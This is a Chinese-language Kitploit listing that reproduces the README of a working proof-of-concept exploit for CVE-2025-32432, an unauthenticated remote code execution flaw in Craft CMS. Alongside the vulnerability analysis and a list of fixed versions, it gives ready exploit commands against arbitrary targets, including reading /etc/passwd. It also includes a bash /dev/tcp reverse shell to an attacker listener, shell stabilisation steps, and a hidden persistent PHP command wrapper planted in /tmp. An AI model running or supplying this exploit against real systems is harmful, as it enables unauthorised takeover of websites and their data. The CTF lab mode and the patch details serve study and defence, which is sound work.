Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-32432 — 针对CVE-2025-32432的可运行PoC - 通过Yii2 PhpManager gadget和nginx access.log日志投毒实现的Craft CMS <= 5.6.16未认证RCE | Kitploit
工具/GitHubGitHub/cd-ratel/cve-2025-32432
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育Payload 开发
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

针对CVE-2025-32432的可运行PoC - 通过Yii2 PhpManager gadget和nginx access.log日志投毒实现的Craft CMS <= 5.6.16未认证RCE

查看仓库
21114个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

CVE-2025-32432 - Craft CMS 未认证 RCE PoC

针对 CVE-2025-32432 的可用概念验证 PoC,这是一个影响 Craft CMS 版本直至并包含 5.6.16 的未认证远程代码执行漏洞(在等效代码路径上也影响 4.x 和 3.x 分支)。

搜索关键词:CVE-2025-32432、Craft CMS RCE、Craft 5.6.16 exploit、 Yii2 PhpManager gadget、craftcms generate-transform、Component::__set as behavior、 nginx log poisoning Craft、unauth RCE craftcms 2025。


TL;DR

git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

默认模式针对 vanilla Craft CMS 安装。--lab 标志用于 hacklab-platform 项目的 carangueijada-20 挑战,该挑战将 Craft 置于自定义会话 cookie 之后。


漏洞

受影响组件:craft\controllers\AssetsController::actionGenerateTransform。

该 action 被注册为 allowAnonymous,因此不需要任何认证。它接受一个 POST 参数 handle,然后将其 展开(spread) 到 Craft::createObject() 调用中:

$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

当 $handle 是攻击者控制下的关联数组时,展开操作会将任意键注入构造函数配置。特别地,以 as 开头的键会被 yii\base\Component::__set 解释为行为(behavior)附加,该操作会在 任何类型检查之前 对值调用 Yii::createObject($config):

elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

Yii2 在 2.0.50 中的修复为此分支增加了 is_subclass_of($value['class'], Behavior::class) 检查;易受攻击的安装(Yii2 <= 2.0.49,或较早移除该补丁的版本)会完全跳过此守卫。

利用链:yii\rbac\PhpManager

PhpManager 是 Yii2 的库存类。它的 init() 调用 load(),而 load() 调用 loadFromFile($this->itemFile)。loadFromFile 实际上就是:

protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require 会将磁盘上的任何文件作为 PHP 解析。如果文件包含 <?php ... ?> 块,该块就会在 worker 中执行。通过将 itemFile 指向内容受攻击者控制的文件,即可实现完整的 RCE。

落点:nginx access.log

跨安装环境最可靠的落点是 nginx 的 combined 格式 access.log。它会原样记录请求的 User-Agent,包括不可打印字符和大多数标点符号。通过发送一个 User-Agent 为 <?php system('id'); exit; ?> 的请求,攻击者就能在已知路径上植入 PHP 块。随后将 itemFile 指向 /var/log/nginx/access.log,require 便会处理该日志,按顺序执行每个 <?php ... ?> 块。

有两个细节需要注意:

  1. Payload 中不能使用双引号。 nginx 在 combined 格式中会将 " 转义为 \x22,这会破坏该行的 PHP 解析。请使用单引号或 chr() 拼接。
  2. 末尾的 exit;,这样 require 会在解析后续可能包含其他畸形 payload 的日志行之前中止。

受影响版本

组件受影响已修复
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17 对转换器类增加了 ImageTransformerInterface 检查。Yii2 2.0.50 在 Component::__set 中增加了 Behavior 子类检查。任一修复单独应用即可封堵这条具体的利用链。


环境要求

  • Python 3.8+
  • requests 库(pip install -r requirements.txt)
  • 可访问目标 HTTP(S) 端点的网络连通性
  • 目标上有效的 Craft assetId。默认为 2;如有需要可用 -a <id> 覆盖(asset id 1 通常是管理员头像)。

使用方法

标准 Craft CMS

python3 exploit.py -u http://victim.tld -c 'id'

Craft 挂在路径前缀下

python3 exploit.py -u http://victim.tld -p /cms -c 'id'

自定义 asset ID

python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

自定义 itemFile(不同的日志路径、FPM session 等)

python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

实验模式(carangueijada-20 挑战)

hacklab-platform 的 carangueijada-20 实验环境将 Craft 安装放在由 PATCH /login 签发的 coopsess cookie 之后。--lab 标志会自动处理该握手过程。

python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

确保 www.carangueijada.coop 能解析到实验环境的 IP(如有需要可添加到 /etc/hosts)。

反弹 Shell

--revshell 标志会触发一个 bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 反向连接,并以后台方式运行,使 gadget POST 立即返回。

双终端流程(最可靠):

# 终端 1 - 在你自己机器上监听
nc -lvnp 4444

# 终端 2 - 触发漏洞
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

带内置监听器的单终端流程:

python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen 会在触发 payload 之前,于同一终端中启动 nc -lvnp <lport>。完成后按 Ctrl+C 退出。

示例会话(实验环境):

$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# 在监听器中:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

稳定 Shell(连接后用,在反弹 shell 内部执行):

python3 -c 'import pty; pty.spawn("/bin/bash")'
# 按 Ctrl+Z 将 nc 切到后台
stty raw -echo; fg
# 按两次回车
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

幂等性原理

首次运行时,漏洞利用程序会污染一次 access.log,在 /tmp/.cve32432_w.php 处放置一个隐藏的 PHP wrapper。该 wrapper 读取 X-Cmd HTTP 头并执行 system($_SERVER['HTTP_X_CMD'])。之后每次派发都会将 itemFile 指向该 wrapper 文件,并通过请求头传递命令。不再需要污染日志、不再产生日志污染、也不会再出现“第一个 <?php exit; 块先执行”导致的失败。

如果你想强制重新写入,请删除目标上的 /tmp/.cve32432_w.php(你可以直接通过 wrapper 自身完成:--cmd 'rm /tmp/.cve32432_w.php')。


示例输出

对全新目标成功运行:

[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

日志被污染时的回退方案(目标之前已被利用过,较旧的 payload 会在你的 payload 之前退出):

[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

利用链实际触发过程

  1. POST /actions/assets/generate-transform 到达 AssetsController::actionGenerateTransform。
  2. handler 构建 $config = ['class' => ImageTransform::class, ...$handle]。 我们的 handle[as gadget] 能在展开后保留下来。
  3. Craft::createObject($config) 调用 Yii::$container->get(ImageTransform::class, [], $config),它会实例化 ImageTransform,并通过 $transform->{$key} = $value 写入其余每个配置键。
  4. 当解析到 as gadget 时,Component::__set 匹配到 as 前缀,并调用 Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log'])。
  5. Yii::createObject 构造 PhpManager,执行 __construct(),然后执行 init()。
  6. PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'。
  7. PHP 解析日志文件。非 PHP 文本会回显到 stdout(最终出现在 HTTP 响应体中)。<?php ... ?> 块会在 worker 中执行。
  8. 我们植入的 payload 执行 system($cmd) 和 exit;。输出会出现在响应体中 <?php 块原本所在的位置。

故障排查

下载工具